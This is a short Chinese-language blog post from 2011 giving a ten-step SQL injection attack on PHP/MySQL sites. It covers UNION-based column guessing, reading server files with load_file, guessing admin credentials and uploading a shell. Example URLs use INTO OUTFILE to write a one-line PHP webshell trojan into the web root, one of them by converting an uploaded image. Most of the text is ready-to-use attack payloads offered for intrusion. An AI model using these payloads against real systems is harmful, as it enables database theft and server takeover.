php注入十点基本步骤

1.判断是否存在注入,加';and 1=1;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6. 如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段,猜解成功再找后台登录。
10.登录后台,上传shell。

=============================================

1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8:@@datadir     读取数据库路径
9:@@basedir    MYSQL 安装路径
10:@@version_compile_os   操作系统


===============================================


※into outfile的高级应用

要使用into outfile将一句话代码写到web目录取得WEBSHELL 
需要满足3大先天条件
1.知道物理路径(into outfile '物理路径') 这样才能写对目录

2.能够使用union (也就是说需要MYSQL3以上的版本)

3.对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)

4就是MYSQL 用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)

5.windows系统下一般都有读写权限,LINUX/UNIX下一般都是rwxr-xr-x 也就是说组跟其他用户都没有权限写入操作。

但环境满足以上条件那么我们可以写一句话代码进去。
例如:
http://www.123.com/123.php?id=123 union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

还有一个办法是假如网站可以上传图片,可以将木马改成图片的格式上传,找出图片的绝对路径在通过into outfile导出为PHP文件。

代码:
http://www.123.com/123.php?id=123 union select 1,2,3,load_file(d:\web\logo123.jpg),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

d:\web\90team.php 是网站绝对路径。
posted @ 2011-06-01 10:30  WHaa_(T_T)  阅读(310)  评论(0编辑  收藏  举报